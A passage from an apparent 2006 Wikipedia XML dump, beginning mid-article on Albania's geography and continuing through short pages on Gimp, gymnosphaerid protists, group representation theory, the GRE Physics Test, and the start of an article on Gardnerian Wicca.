Rainfall in the upland mountain ranges is heavier. Adequate records are not available, and estimates vary widely, but annual averages are probably about 1,800 millimeters and are as high as 2,550 millimeters in some northern areas. The seasonal variation is not quite as great in the coastal area. 

The higher inland mountains receive less precipitation than the intermediate uplands. Terrain differences cause wide local variations, but the seasonal distribution is the most consistent of any area.

==Terrain==

[[image:Albania relief large.jpg|thumb|200px|Shaded relief map of Albania.]]

The 70% of the country that is mountainous is rugged and often inaccessible. The remainder, an alluvial plain, receives precipitation seasonally, is poorly drained, and is alternately arid or flooded. Much of the plain's soil is of poor quality. Far from offering a relief from the difficult interior terrain, the alluvial plain is often as inhospitable as the mountains. Good soil and dependable precipitation, however, are found in intermontane river basins, in the lake district along the eastern frontier, and in a narrow band of slightly elevated land between the coastal plains and the interior mountains.

In the far north, the mountains are an extension of the [[Dinaric Alps]] and, more specifically, the [[Montenegrin limestone plateau]]. Albania's northern mountains are more folded and rugged, however, than most of the plateau. The rivers have deep valleys with steep sides and arable valley floors. Generally unnavigable, the rivers obstruct rather than encourage movement within the alpine region. Roads are few and poor. Lacking internal communications and external contacts, a tribal society flourished in this area for centuries. Only after [[World War II]] were serious efforts made to incorporate the people of the region into Albanian national life. A low coastal belt extends from the northern boundary southward to the vicinity of [[Vlorë]]. On average, it extends less than sixteen kilometers inland, but widens to about fifty kilometers in the [[Elbasan]] area in central Albania. In its natural state, the coastal belt is characterized by low scrub vegetation, varying from barren to dense. There are large areas of marshlands and other areas of bare, eroded badlands. Where elevations rise slightly and precipitation is regular--in the foothills of the central uplands, for example--the land is highly arable. Marginal land is reclaimed wherever irrigation is possible. 

Just east of the lowlands, the central uplands, called [[Çermenikë]] by Albanians, are an area of generally moderate elevations, between 305 and 915 meters, with a few points reaching above 1,520 meters. Shifting along the faultline that roughly defines the western edge of the central uplands causes frequent, and occasionally severe, [[earthquake]]s. 

[[image:Mount Çikë.jpg|thumb|200px|left|Mount Çikë in the south]]

Although rugged terrain and points of high elevation mark the central uplands, the first major mountain range inland from the Adriatic is an area of predominantly serpentine rock (which derives its name from its dull green color and often spotted appearance), extending nearly the length of the country, from the North Albanian Alps to the Greek border south of [[Korçë]]. Within this zone, there are many areas in which sharp limestone and sandstone outcroppings predominate, although the ranges as a whole are characterized by rounded mountains. 

The mountains east of the serpentine zone are the highest in Albania, exceeding 2,754 meters in the [[Mount Korab]] (''Mali Korabit'') range at Korabi's Peak (''Maja e Korabit''). Together with the North Albanian Alps and the serpentine zone, the eastern highlands are the most rugged and inaccessible of any terrain on the Balkan Peninsula. 

The three lakes of easternmost Albania, [[Lake Ohrid]] (''Liqeni Ohrit''), [[Big Prespa Lake]] (''Prespa e Madhe''), and [[Small Prespa Lake]] (''Prespa e Vogël''), are remote and picturesque. Much of the terrain in their vicinity is not overly steep, and it supports a larger population than any other inland portion of the country. Albania's eastern border passes through Lake Ohrid; all but a small tip of Prespa e Vogël is in Greece; and the point at which the boundaries of three states meet is in Lake Prespa. Each of the two larger lakes has a total surface areas of about 260 square kilometers, and Prespa e Vogël is about one-fifth as large. The surface elevation is about 695 meters for Lake Ohrid and 855 meters for the other two lakes. 

The southern mountain ranges are more accessible than the serpentine zone, the eastern highlands, or the North Albanian Alps. The transition to the lowlands is less abrupt, and the arable valley floors are wider. Limestone, the predominant mineral, is responsible for the cliffs and clear water of the coastline southeast of Vlorë. [[Erosion]] of a blend of softer rocks has provided the sediment that has caused wider valleys to form in the southern mountain area than those characteristic of the remainder of the country. This terrain encouraged the development of larger landholding, thus influencing the social structure of southern Albania. 

* [[List of Albanian islands|Islands]]
* [[List of Albanian lakes|Lakes]]
* [[List of Albanian mountains|Mountains]]
* [[List of Albanian rivers|Rivers]]
* [[List of Albanian seas|Seas]]

==Drainage==
[[image:River in Albania.jpg|thumb|200px|River in the south]]

Nearly all of the precipitation that falls on Albania drains into the [[river]]s and reaches the coast without even leaving the country. In the north, only one small stream escapes Albania. In the south, an even smaller rivulet drains into Greece. Because the topographical divide is east of the Albanian border with its neighbors, a considerable amount of water from other countries drains through Albania. An extensive portion of the basin of the [[Drini i Bardhë River]] (''White Drini''), called Beli Drim by Serbs, basin is in the [[Metohia]] area, across Albania's northeastern border. The three eastern lakes that Albania shares with its neighboring countries, as well as the streams that flow into them, drain into the [[Drini i Zi River]] (''Black Drini''). The watershed divide in the south also dips nearly seventyfive kilometers into Greece at one point. Several tributaries of the [[Vjosa River]] rise in that area. 

With the exception of the Drini i Zi River, which flows northward and drains nearly the entire eastern border region before it turns westward to the sea, most of the rivers in northern and central Albania flow fairly directly westward to the sea. In the process, they cut through the ridges rather than flow around them. This apparent geological impossibility occurs because the highlands originally were lifted without much folding. The streams came into existence at that time. The compression and folding of the plateau into ridges occurred later. The folding process was rapid enough in many instances to dam the rivers temporarily. The resulting lakes existed until their downstream channels became wide enough to drain them. This sequence created the many interior basins that are typically a part of the Albanian landform. During the lifetime of the temporary [[lake]]s, enough sediment was deposited in them to form the basis for fertile soils. Folding was rarely rapid enough to force the streams into radically different channels. 

The precipitous fall from higher elevations and the highly irregular seasonal flow patterns that are characteristic of nearly all streams in the country reduce the economic value of the [[stream]]s. They erode the mountains and deposit the [[sediment]] that created the [[lowland]]s and continues to augment them, but the rivers flood when there is local rainfall. When the lands are parched and need irrigation, the rivers usually are dry. Their violence when they are full makes them difficult to control, and they are unnavigable. The Buna River is an exception. It is dredged between [[Shkodër]] and the [[Adriatic Sea]] and can be negotiated by small ships. In contrast to their history of holding fast to their courses in the mountains, the rivers constantly change channels on the lower plains, making waste of much of the land they create. 

The [[Drin River]] is the largest and most constant stream. Fed by melting snows from the northern and eastern mountains and by the more evenly distributed seasonal precipitation of that area, its flow does not have the extreme variations characteristic of nearly all other rivers in the country. Its normal flow varies seasonally by only about one-third. Along its length of about 282 kilometers, it drains nearly 5,957 square kilometers within Albania. As it also collects from the Adriatic portion of Kosovo's watersheds and the three border lakes (Big [[Lake Prespa]] drains to [[Lake Ohrid]] via an underground stream), its total basin encompasses about 15,540 square kilometers. 

The [[Semani River|Semani]] and [[Vjosa River|Vjosa]] are the only other rivers that are more than 160 kilometers long and have basins larger than 2,600 square kilometers. These rivers drain the southern regions and, reflecting the seasonal distribution of rainfall, are torrents in winter and nearly dry in the summer, in spite of their length. This variable nature also characterizes the many shorter streams. In the summer, most of them carry less than a tenth of their winter averages, if they are not altogether dry. 

Although the sediment carried by the mountain torrents continues to be deposited, new deposits delay exploitation. Stream channels rise as [[silt]] is deposited in them and eventually become higher than the surrounding terrain. Shifting channels frustrate development in many areas. Old channels become barriers to proper drainage and create swamps or marshlands. It is difficult to build roads or [[railroad]]s across the lowlands or otherwise use the land.

==Statistics==
[[Image:Albania map.png|right| ]]
; '''[[Geographic coordinates]]:'''
: {{coor dm|41|00|N|20|00|E|type:country}}
; '''Map References:'''
: [[Europe]]
; '''Area:'''
:* ''Total:'' 28,748 [[square kilometre|km²]]
:* ''Land:'' 27,398 km²
:* ''Water:'' 1,350 km²
; '''Area - comparative:'''
:* [[Australia]] comparative: about a third of the size of [[Tasmania]]
:* [[Canada]] comparative: about half the size of [[Nova Scotia]]
:* [[United Kingdom]] comparative: slightly larger than [[Wales]]
:* [[United States]] comparative: slightly smaller than [[Maryland]]
; '''Land boundaries:'''
:* ''Total:'' 720 km border
:* [[Greece]] 282 km
:* The [[Republic of Macedonia]] 151 km
:* [[Serbia and Montenegro]] 287 km (114 km with [[Serbia]], 173 km with [[Montenegro]])
; '''Coastline:'''
: 362 km
; '''Maritime Claims:'''
:* ''Continental shelf:'' 200-m depth or to the depth of exploitation
:* ''Territorial sea:'' 12 [[Nautical mile|nm]]
; '''Elevation extremes:'''
:* ''Lowest point:'' Adriatic Sea 0 [[metre|m]]
:* ''Highest point:'' Korab's Peak on [[Mount Korab]] (''Maja e Korabit'' on ''Mali Korabit'') in [[Golem]] 2,753 m
; '''Natural resources:'''
: [[Petroleum]], [[natural gas]], [[coal]], [[chromium]], [[copper]], [[timber]], [[nickel]], [[hydropower]]
; '''Land Use:'''
:* ''Arable land:'' 21%
:* ''Permanent crops:'' 5%
:* ''Permanent pastures:'' 15%
:* ''Forests and woodland:'' 38%
:* ''Other:'' 21% (1993 est.)
; '''Irrigated land:'''
: 3,400 km² (1998 est.)
; '''Natural hazards:'''
: Destructive [[earthquake]]s; [[tsunami]]s occur along southwestern coast
; '''Environment - current issues:'''
: [[Deforestation]], [[soil erosion]], [[water pollution]] from industrial and domestic effluents
; '''Environment - international agreements:'''
:* ''Party to:'' [[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Law of the Sea]], [[Hazardous Wastes]], [[Ozone Layer Protection]], [[Wetlands]]
:* ''Signed, but not ratified:'' none of the selected agreements

==References==
{{loc}} ''Much of the material in this article comes from the [[CIA World Factbook]] 2000 of Albania.''

==See also==
* [[Tourism in Albania]]
* [[List of cities in Albania]]
* [[Geography of Europe]]


[[Category:Geography of Albania| ]]
[[es:Geografía de Albania]]
[[it:Geografia dell'Albania]]
[[pt:Geografia da Albânia]]
[[ru:Географические данные Албании]]
[[sl:Geografija Albanije]]
[[sv:Albaniens geografi]]
[[zh:阿尔巴尼亚地理]]</text>
    </revision>
  </page>
  <page>
    <title>Gimp</title>
    <id>12692</id>
    <revision>
      <id>42087900</id>
      <timestamp>2006-03-03T19:19:00Z</timestamp>
      <contributor>
        <username>Muchness</username>
        <id>282514</id>
      </contributor>
      <comment>rv to Brehaut - rvv</comment>
      <text xml:space="preserve">{{wiktionarypar|gimp}}

'''Gimp''' may mean: 
*[[GIMP]], GNU Image Manipulation Program
*[[Gimp (sadomasochism)]], a BDSM term for a sexual submissive
*[[Gimp (band)]], a New Jersey punk band
*[[Gimp (thread)]],  a type of thread used for making lanyards
*[[Gimp (role-playing games)]], a weak character or ability in a role-playing game

==See also==
*[[Gimp-Print]]

{{disambig}}

[[hu:Gimp]]</text>
    </revision>
  </page>
  <page>
    <title>Guomindang</title>
    <id>12693</id>
    <revision>
      <id>15910361</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Kuomintang]]
</text>
    </revision>
  </page>
  <page>
    <title>Gymnosphaerid</title>
    <id>12694</id>
    <revision>
      <id>37290843</id>
      <timestamp>2006-01-30T01:19:49Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = khaki
| name = Gymnosphaerids
| regnum = [[Protist]]a
| classis = [[Centrohelid|Centrohelea]]
| ordo = '''Axoplasthelida'''
| familia = '''Gymnosphaeridae'''
| subdivision_ranks = Species
| subdivision = 
''Gymnosphaera elbida''&lt;br&gt;
''Hedraiophrys hovassei''&lt;br&gt;
''Actinocoryne contractilis''
}}
The '''gymnosphaerids''' are a small group of [[heliozoa]]n protists found in marine environments.  They tend to be roughly spherical with radially directed axopods, whose ultrastructure is typical of the [[centrohelid]]s.  They differ from other centrohelids in having [[mitochondrion|mitochondria]] with tubular rather than flat [[crista]]e, and as such have been considered a separate group, but it is now known this trait may vary among closely related genera.  They also have an amorphous central granule or axoplast instead of a tripartite centroplast.  There are three genera, each with a single species:

* ''Gymnosphaera albida'' is free-living, usually benthic in shallow water.  The cells are round and naked, around 70-100 &amp;mu;m in diameter, and resemble the unrelated ''[[actinophryid|Actinosphaerium]]''.  The outer cytoplasm, or ectoplasm, forms a distinct layer containing large vesicles.

* ''Hedraiophrys hovassei'' is larger and lives attached to [[alga]]e and other objects.  The cells have a conical base, and are covered with long siliceous spicules.  The ectoplasm is distinct and frothy, and typically contains bacterial and algal [[endosymbiont]]s.

* ''Actinocoryne contractilis'' is benthic.  When feeding, it has a multinucleate base and a contractile stalk up to 150 &amp;mu;m in length, supporting a relatively small uninucleate head, where the central granule and axopods are located.  It may move about in a headless amoeboid form.  Reproduction is either by budding off the head or fragmentation of the headless form, producing small free-living cells similar to ''Gymnosphaera'', which then attach themselves and regrow the stalk and base.
[[Category:Amoeboids]]</text>
    </revision>
  </page>
  <page>
    <title>Group representation</title>
    <id>12695</id>
    <revision>
      <id>39225117</id>
      <timestamp>2006-02-11T17:48:56Z</timestamp>
      <contributor>
        <username>MathMartin</username>
        <id>29707</id>
      </contributor>
      <comment>removed ==Character theory==. Identical material is at [[character theory]]</comment>
      <text xml:space="preserve">'''Group representation theory''' is the branch of [[mathematics]] that studies properties of abstract [[group (mathematics)|groups]] via their representations as [[linear transformation]]s of [[vector space]]s. Representation theory is important because it enables many [[group theory|group-theoretic]] problems to be reduced to problems in [[linear algebra]], which is a very well-understood theory. It is also important in [[physics]] because, for example, it is used to describe how the [[symmetry group]] of a physical system affects the solutions to that system. 

Representations can also be defined for other mathematical structures, such as   [[associative algebras]], and [[Lie algebra|Lie]] or [[Hopf algebra]]s; for the rest of this article ''representation'' and ''representation theory'' will refer only to representation of groups.

The term ''representation of a group'' is also used in a more general sense to mean any &quot;description&quot; of a group as a group of transformations of some mathematical object. More formally, a &quot;description&quot; means a [[homomorphism]] from the group to the [[automorphism group]] of the object. If the object is a vector space we have a ''linear representation''. Some people use ''realization'' for the general notion and reserve the term ''representation'' for the special case of linear representations. The bulk of this article describes linear representation theory; see the last section for generalizations.

==Branches of representation theory==

Representation theory divides into subtheories depending on the kind of group being represented. The various theories are quite different in detail, though some basic definitions and concepts are similar. The most important divisions are:

*''[[Finite group]]s'' &amp;mdash; Group representations are a very important tool in the study of finite groups. They also arise in the applications of finite group theory to [[crystallography]] and to geometry. If the [[field (mathematics)|field]] of scalars of the vector space has [[characteristic (algebra)|characteristic]] ''p'', and if ''p'' divides the order of the group, then this is called ''[[modular representation theory]]''; this special case has very different properties. See [[Representation theory of finite groups]].

*''[[Compact group]]s or locally compact [[topological group]]s'' &amp;mdash; Many of the results of finite group representation theory are proved by averaging over the group. These proofs can be carried over to infinite groups by replacement of the average with an integral, provided that an acceptable notion of integral can be defined. This can be done for locally compact groups, using [[Haar measure]]. The resulting theory is a central part of [[harmonic analysis]]. The [[Pontryagin duality]] describes the theory for commutative groups, as a generalised [[Fourier transform]]. See also: [[Peter-Weyl theorem]].

*''[[Lie groups]]'' &amp;mdash; Many important Lie groups are compact, so the results of compact representation theory apply to them. Other techniques specific to Lie groups are used as well. Most of the groups important in physics and chemistry are Lie groups, and their representation theory is crucial to the application of group theory in those fields. See [[Representations of Lie groups]] and [[Representations of Lie algebras]].

*''[[Linear algebraic group]]s'' (or more generally  ''affine [[group scheme]]s'') &amp;mdash; These are the analogues of Lie groups, but over more general fields than just '''R''' or '''C'''. Although  linear algebraic groups have a classification that is very similar to that of Lie groups, and give rise to the same families of Lie algebras, their representations are rather different (and much less well understood). The analytic techniques used for studying Lie groups must be replaced by techniques from [[algebraic geometry]], where the relatively weak [[Zariski topology]] causes many technical complications. 

*''Non-compact topological groups'' &amp;mdash; The class of non-compact groups is too broad to construct any general representation theory, but specific special cases have been studied, sometimes using ad hoc techniques. The ''semisimple Lie groups'' have a deep theory, building on the compact case. The complementary ''solvable'' Lie groups cannot in the same way be classified. The general theory for Lie groups deals with [[semidirect product]]s of the two types, by means of general results called ''[[Mackey theory]]'', which is a generalization of [[Wigner's classification]] methods.

Representation theory also depends heavily on the type of [[vector space]] on which the group acts. One distinguishes between finite-dimensional representations and infinite-dimensional ones. In the infinite-dimensional case, additional structures are important (e.g. whether or not the space is a [[Hilbert space]], [[Banach space]], etc.).

One must also consider the type of [[field (mathematics)|field]] over which the vector space is defined. The most important case is the field of [[complex number]]s. The other important cases are the field of [[real numbers]], [[finite field]]s, and fields of [[p-adic number]]s. In general, [[algebraically closed]] fields are easier to handle than non-algebraically closed ones. The [[characteristic (algebra)|characteristic]] of the field is also significant; many theorems for finite groups depend on the order of the group not dividing the characteristic of the field.

==Definitions==

A '''representation''' of a [[group (mathematics)|group]] ''G'' on a [[vector space]] ''V'' over a [[field (mathematics)|field]] ''K'' is a [[group homomorphism]] from ''G'' to GL(''V''), the [[general linear group]] on ''V''. 
That is, a representation is a map 
:&lt;math&gt;\rho:G \to GL(V)&lt;/math&gt; 
such that
:&lt;math&gt;\rho(g_1 g_2) = \rho(g_1) \rho(g_2)&lt;/math&gt; for all &lt;math&gt;g_1,g_2 \in G&lt;/math&gt;.

''V'' is called the '''representation space''' and the dimension of ''V'' is called the '''dimension''' of the representation. It is common practice to refer to ''V'' itself as the representation when the homomorphism is clear from context (and, often, even when it is not).

In the case where ''V'' is of finite dimension ''n'' it is common to choose a [[basis (linear algebra)|basis]] for ''V'' and identify GL(''V'') with GL(''n'', ''K'') the group of ''n''-by-''n'' [[invertible matrix|invertible  matrices]].

The '''kernel''' of a representation &lt;math&gt;\rho&lt;/math&gt; of a group ''G'' is defined as the normal subgroup of ''G'' whose image under &lt;math&gt;\rho&lt;/math&gt; is the identity transformation:
: &lt;math&gt;\ker \rho := \left\{g \in G \mid \rho(g) = id\right\}&lt;/math&gt;

A '''faithful''' representation is one in which the homomorphism ''G'' &amp;rarr; GL(''V'') is [[injective]]; in other words, one whose kernel is the trivial subgroup ''{e}'' consisting of just the group's identity element.

Given two ''F'' vector spaces ''V'' and ''W'', two representations
:&lt;math&gt;\rho_1:G \to GL(V)&lt;/math&gt; 
and 
:&lt;math&gt;\rho_1:G\rightarrow GL(W)&lt;/math&gt;
are said to be '''equivalent''' or '''isomorphic''' if there exists an vector space isomorphism
:&lt;math&gt;\alpha: W \to V&lt;/math&gt;
so that for all ''g'' in ''G''
:&lt;math&gt;\alpha \circ \rho_1(g) \circ \alpha^{-1} = \rho_2(g)&lt;/math&gt;

== Examples ==

Consider the complex number ''u'' = e&lt;sup&gt;2&amp;pi;i / 3&lt;/sup&gt; which has the property ''u''&lt;sup&gt;3&lt;/sup&gt; = 1. The [[cyclic group]] ''C''&lt;sub&gt;3&lt;/sub&gt; = {1, ''u'', ''u''&lt;sup&gt;2&lt;/sup&gt;} has a representation &amp;rho; on '''C'''&lt;sup&gt;2&lt;/sup&gt; given by:

:&lt;math&gt;
\begin{bmatrix}
1 &amp; 0 \\
0 &amp; 1 \\
\end{bmatrix}
\qquad
\begin{bmatrix}
1 &amp; 0 \\
0 &amp; u \\
\end{bmatrix}
\qquad
\begin{bmatrix}
1 &amp; 0 \\
0 &amp; u^2 \\
\end{bmatrix}
&lt;/math&gt;

(the three matrices are &amp;rho;(1), &amp;rho;(''u'') and &amp;rho;(''u''&lt;sup&gt;2&lt;/sup&gt;) respectively). This representation is faithful because &amp;rho; is a [[injective|one-to-one map]].

An isomorphic represenation for ''C''&lt;sub&gt;3&lt;/sub&gt; is

:&lt;math&gt;
\begin{bmatrix}
1 &amp; 0 \\
0 &amp; 1 \\
\end{bmatrix}
\qquad
\begin{bmatrix}
u &amp; 0 \\
0 &amp; 1 \\
\end{bmatrix}
\qquad
\begin{bmatrix}
u^2 &amp; 0 \\
0 &amp; 1 \\
\end{bmatrix}
&lt;/math&gt;

== Reducibility ==

A subspace ''W'' of ''V'' that is fixed under the group action is called a ''subrepresentation''. If ''V'' has a non-zero proper subrepresentation, the representation is said to be ''reducible''. Otherwise, it is said to be ''irreducible''. 

Under a certain assumption, representations of [[finite group]]s can be decomposed into a [[direct sum]] of irreducible subrepresentations (see [[Maschke's theorem]]). The required assumption is that the [[characteristic (algebra)|characteristic]] of the field K does not divide the size of the group. This is true for representations over the [[complex numbers]].

In the example above, the representation given is decomposable into two 1-dimensional subrepresentations (given by span{(1,0)} and span{(0,1)}).

==Generalizations==

===Set-theoretical representations===

A ''set-theoretic representation'' (also known as a [[group action]] or ''permutation representation'') of a [[group (mathematics)|group]] ''G'' on a [[set]] ''X'' is given by a [[function (mathematics)|function]] &amp;rho; from ''G'' to ''X''&lt;sup&gt;''X''&lt;/sup&gt;, the [[set]] of [[function (mathematics)|function]]s from ''X'' to ''X'', such that for all ''g''&lt;sub&gt;1&lt;/sub&gt;, ''g''&lt;sub&gt;2&lt;/sub&gt; in ''G'' and all ''x'' in ''X'':

:&lt;math&gt;\rho(1)[x] = x&lt;/math&gt;
:&lt;math&gt;\rho(g_1 g_2)[x]=\rho(g_1)[\rho(g_2)[x]]&lt;/math&gt;

This condition and the axioms for a group imply that &amp;rho;(''g'') is a [[bijection]] (or [[permutation]]) for all ''g'' in ''G''. Thus we may equivalently define a permutation representation to be a [[group homomorphism]] from G to the [[symmetric group]] S&lt;sub&gt;''X''&lt;/sub&gt; of ''X''.

For more information on this topic see the article on [[group action]].

===Representations in other categories===

Every group ''G'' can be viewed as a [[category (mathematics)|category]] with a single object; [[morphism]]s in this category are just the elements of ''G''. Given an arbitrary category ''C'', a ''representation'' of ''G'' in ''C'' is a [[functor]] from ''G'' to ''C''. Such a functor selects an object ''X'' in ''C'' and a group homomorphism from ''G'' to Aut(''X''), the [[automorphism group]] of ''X''.

In the case where ''C'' is '''Vect'''&lt;sub&gt;''K''&lt;/sub&gt;, the [[category of vector spaces]] over a field ''K'', this definition is equivalent to a linear representation. Likewise, a set-theoretic representation is just a representation of ''G'' in the [[category of sets]].

For another example consider the [[category of topological spaces]], '''Top'''. Representations in '''Top''' are homomorphisms from ''G'' to the [[homeomorphism]] group of a topological space ''X''.

Two types of representations closely related to linear representations are:
*[[projective representation]]s: in the category of [[projective space]]s. These can be described as &quot;linear representations [[up to]] scalar transformations&quot;. 
*[[affine representation]]s: in the category of [[affine space]]s. For example, the [[Euclidean group]] acts affinely upon [[Euclidean space]].

==See also==

*[[Character theory]]
*[[List of harmonic analysis and representation theory topics]]

[[de:Darstellungstheorie]]
[[es:Representación de grupo]]
[[pl:Reprezentacja grupy]]
[[fr:Représentation des groupes]]
[[Category:Representation theory of groups]]
[[Category:Representation theory]]

[[zh:&amp;#34920;&amp;#31034; (&amp;#32676;)]]</text>
    </revision>
  </page>
  <page>
    <title>GRE Physics Test</title>
    <id>12696</id>
    <revision>
      <id>41792169</id>
      <timestamp>2006-03-01T20:02:20Z</timestamp>
      <contributor>
        <username>Achoo5000</username>
        <id>1009149</id>
      </contributor>
      <comment>/* 9. Specialized topics */</comment>
      <text xml:space="preserve">The '''[[Graduate Record Examination|GRE]] [[Physics]] test''' is an examination administered by the [[Educational Testing Service]]. The test attempts to determine the extent of the examinees' understanding
of fundamental principles of physics and their ability to apply them in
problem solution. Many graduate schools require applicants to take the exam and base admission decisions in part on the results. This puts pressure on undergraduate programs to teach the topics students will need to succeed on the GRE.

The scope of the test is largely that of the first three years of a standard 
United States undergraduate physics curriculum, since many students who plan to continue to graduate school apply during the first half of the fourth year. It consists of approximately 100 five-choice questions covering subject areas including classical mechanics and electromagnetism, wave phenomena and optics, thermal physics, relativity, atomic and quantum physics, laboratory techniques, and mathematical methods. The table indicates the relative weights and detailed contents of the major topics.

==Major Content Topics==

===1. [[Classical mechanics]] (20%)===
* [[kinematics]]
* [[Newton's laws of motion]]
* [[energy|work and energy]]
* [[rotational motion about a fixed axis]]
* [[dynamics of systems of particles]]
* [[central force|central forces]] and [[celestial mechanics]]
* [[three-dimensional particle dynamics]]
* [[Lagrangian]] and [[Hamiltonian mechanics|Hamiltonian]] formalism
* [[noninertial reference frames]]
* [[fluid dynamics|elementary topics in fluid dynamics]]

===2. [[Electromagnetism]] (18%)===
* [[electrostatics]]
* [[Current (electricity)|currents]] and [[DC circuits]]
* [[magnetic field|magnetic fields]] in free space
* [[Lorentz force]]
* [[electromagnetic induction]]
* [[Maxwells equations|Maxwell's equations]] and their applications
* [[electromagnetic waves]] ([[electromagnetic radiation]])
* [[AC circuits]]
* [[magnetic and electric fields in matter]]

===3. [[Optics]] and [[wave]] phenomena (9%)===
* [[wave]] properties
* [[interference|superposition]]
* [[interference]]
* [[diffraction]]
* [[geometrical optics]]
* [[polarization]]
* [[Doppler effect]]

===4. [[Thermodynamics]] and [[statistical mechanics]] (10%)===
* [[thermodynamics|laws of thermodynamics]]
* [[thermodynamic processe]]s
* [[equations of state]]
* [[ideal gas]]es
* [[kinetic theory]]
* [[Quantum Ensemble|ensembles]]
* [[statistical concepts and calculation of thermodynamic quantities]]
* [[thermal expansion and heat transfer]]

===5. [[Quantum mechanics]] (12%)===
* [[fundamental concepts]]
* solutions of the [[Schrödinger wave equation]]
** [[square well]]s ([[Particle in a box]])
** [[harmonic oscillators]]
** [[hydrogenic atoms]]
* [[spin (physics)|spin]]
* [[angular momentum]]
* [[wave function symmetry]]
* [[elementary perturbation theory]]

===6. [[Atomic physics]] (10%)===
* [[properties of electron]]s
* [[Bohr model]]
* [[energy quantization]]
* [[atomic structure]]
* [[atomic spectra]]
* [[selection rules]]
* [[black-body radiation]]
* [[x-rays]]
* [[atoms in electric and magnetic fields]]

===7. [[Special relativity]] (6%)===
* [[introductory concepts of special relativity]]
* [[time dilation]]
* [[length contraction]]
* [[simultaneity]]
* [[Special relativity/energy and momentum|energy and momentum]]
* [[four-vectors and Lorentz transformation]]
* [[Special relativity/velocity addition|velocity addition]]

===8. Laboratory methods (6%)===
* [[data and error analysis]]
* [[electronics]]
* [[instrumentation]]
* [[radiation detection]]
* [[counting statistics]]
* [[interaction of charged particles with matter]]
* [[lasers and optical interferometers]]
* [[dimensional analysis]]
* [[fundamental applications of probability and statistics]]

===9. Specialized topics===
* '''[[Nuclear physics|nuclear]] and [[particle physics]]'''
** [[nuclear properties]]
** [[radioactive decay]]
** [[nuclear fission|fission]] and [[nuclear fusion|fusion]]
** [[reaction]]s
** [[Elementary particle|fundamental properties of elementary particles]]
* '''[[condensed matter]]'''
** [[crystal structure]]
** [[x-ray diffraction]]
** [[thermal properties]]
** [[electron theory of metals]]
** [[semiconductor]]s
** [[superconductivity|superconductors]]
* '''Miscellaneous'''
** [[astrophysics]]
** [[mathematical method]]s
** [[Application software|computer applications]]

Also:

Mathematical methods and their applications in physics
* [[Calculus|single and multivariate calculus]]
* [[coordinate system]]s (rectangular, cylindrical, spherical)
* [[vector algebra]] and [[Vector calculus|vector differential operator]]s
* [[Fourier series]]
* [[partial differential equation]]s
* [[boundary value problem]]s
* [[Matrix (mathematics)|matrices and determinants]]
* [[Complex analysis|functions of complex variables]]

&lt;table&gt;
&lt;tr&gt;&lt;th&gt;Range of [[Raw score|Raw Scores]] Needed to Earn  Selected Scaled Scores on Three Physics Test Editions That Differ in Difficulty&lt;/th&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table border=1 style=&quot;text-align: center;&quot;&gt;&lt;tr&gt;
&lt;td valign=&quot;bottom&quot; rowspan=&quot;2&quot;&gt;Scaled Score&lt;/td&gt;&lt;td colspan=3&gt;Raw Scores&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;                           &lt;td&gt;Form A&lt;/td&gt;&lt;td&gt;Form B&lt;/td&gt;&lt;td&gt;Form C&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;900&lt;/td&gt;               &lt;td&gt;75    &lt;/td&gt;&lt;td&gt;71    &lt;/td&gt;&lt;td&gt;60-61 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;800&lt;/td&gt;               &lt;td&gt;61    &lt;/td&gt;&lt;td&gt;57    &lt;/td&gt;&lt;td&gt;45    &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;700&lt;/td&gt;               &lt;td&gt;47    &lt;/td&gt;&lt;td&gt;43-44 &lt;/td&gt;&lt;td&gt;33    &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;600&lt;/td&gt;               &lt;td&gt;33-34 &lt;/td&gt;&lt;td&gt;29-30 &lt;/td&gt;&lt;td&gt;22    &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;Number of Questions Used to Compute Raw Score&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;                  &lt;td&gt;100   &lt;/td&gt;&lt;td&gt;100   &lt;/td&gt;&lt;td&gt;98    &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==External links==
* [http://www.gre.org/subdesc.html#physics Official Description of the GRE Physics Test]
* [http://www.testmagic.com/forums/forumdisplay.php?f=82 GRE Physics Forum] - Bulletin board to communicate with other GRE Physics Test takers
* [http://www.physics.brandeis.edu/GRE%20physics/GRE.html Publicly released tests and answers]
* [http://grephysics.net/ Detailed Solutions to all ETS released tests] - The Missing Solutions Manual, free online, and User Comments and discussions on individual problems

[[Category:Standardized tests]]</text>
    </revision>
  </page>
  <page>
    <title>Gardnerian Wicca</title>
    <id>12697</id>
    <revision>
      <id>37341069</id>
      <timestamp>2006-01-30T10:04:04Z</timestamp>
      <contributor>
        <username>Rickyrab</username>
        <id>3825</id>
      </contributor>
      <text xml:space="preserve">{{not verified}}

'''Gardnerian Wicca''' is a tradition of the '''[[Neopaganism|Neopagan]]''' religion of '''[[Wicca]]'''.  Gardnerian Wicca is named after [[Gerald Gardner]] (1884-1964), a British civil servant who studied magic, among other topics. He knew and worked with many famous occultists, not the least of which was [[Aleister Crowley]] (1875-1947). After his retirement Gardner moved to Christchurch near the New Forest on the south coast of England, where he says he met a group of people who had preserved certain traditional practices. As an amateur folklorist, Gardner was fascinated,  and set about reinventing what he described as an ancient, ancestral religion whose remnants he had come upon. He apparently had little ritual material to work with and had to create a good deal of it himself. He seems not to have been confident writing original poetry, and instead borrowed and wove together appropriate material from other artists and occultists, most notably [[Aleister Crowley]], [[Charles Godfrey Leland]]'s ''[[Aradia, or the Gospel of the Witches]]'', the [[Key of Solomon]] as published by [[Samuel Liddell MacGregor Mathers|S.L. MacGregor Mathers]], [[Masonic|Freemasonry]] ritual, and [[Rudyard Kipling]], 